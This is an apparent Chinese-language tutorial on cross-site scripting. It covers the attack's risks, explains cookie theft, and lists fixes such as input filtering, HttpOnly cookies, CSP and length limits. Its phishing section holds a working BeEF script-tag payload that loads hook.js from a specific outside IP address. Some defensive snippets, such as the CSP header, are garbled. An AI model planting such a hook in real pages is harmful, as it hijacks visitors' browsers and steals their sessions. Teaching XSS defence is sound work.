——— 鲁迅曾经说过,乱点链接的人就该中马。

XSS(跨站脚本攻击)Cross-Site Scripting

啥是xss :xss是被动式、注入攻击,把恶意代码想办法注入到你的程序中,获取需要的东西。

恶意代码通常是JavaScript、Java组件,VBScript,ActiveX,Flash或者就是原生的HTML。

攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如CookieSessionID 等,进而危害数据安全。

XSS的风险:

Web应用若存在XSS漏洞,就会有如下风险:

用户的浏览器中运行攻击者的恶意脚本,从而导致Cookie信息被窃取,用户身份被报名顶替
攻击者能获得用户的权限来恶意使用Web应用的功能
向用户显示伪造的输入表单,通过钓鱼式攻击窃取用户的个人信息。

1、盗用cookie,获取敏感信息

被攻击者已经登陆了该网站,所以持有该网站发送想用户浏览器发送的cookie

  • cookie是浏览器向客户端发送的,用于识别身份,存储信息的。

客户端浏览器发送请求发送到服务器—》服务器—》发送HttpResponse响应(包含cookie)—》客户端浏览器保存cookie—》再次向该站点服务器发送请求是时,HttpRequest请求会包含该cookie—》服务器确定该浏览器信息,响应数据。

2、利用Flash钓鱼,取得更高权限

3、钓鱼欺骗

beef-xss搭建钓鱼服务器
让被攻击者浏览加载
<script src="http://47.94.236.117:3000/hook.js"><script>

钩子加载直接获取服务器
=cookie获取
跳转指向
社工钓鱼
配合漏洞

4、网站挂马

5、垃圾信息发送

6、劫持用户Web行为

7、XSS蠕虫

xss 防御

XSS 防御的总体思路是:对输入(和 URL 参数)进行过滤,对输出进行编码。 也就是对提交的所有内容进行过滤,对 url 中的参数进行过滤,过滤掉会导致脚 本执行的相关内容;然后对动态输出到页面的内容进行 html 编码,使脚本无法 在浏览器中执行。

—xss修复

1、进行字符过滤,过滤敏感字符

ini_setting

session.cookie_httponly=1
ini_set(“session.cookie_httponly”,1);

3、csp策略

设置CSP(Content Securitu Policy)
header(“Content.Security.policy.img.src”self” “);

4、输入长度限制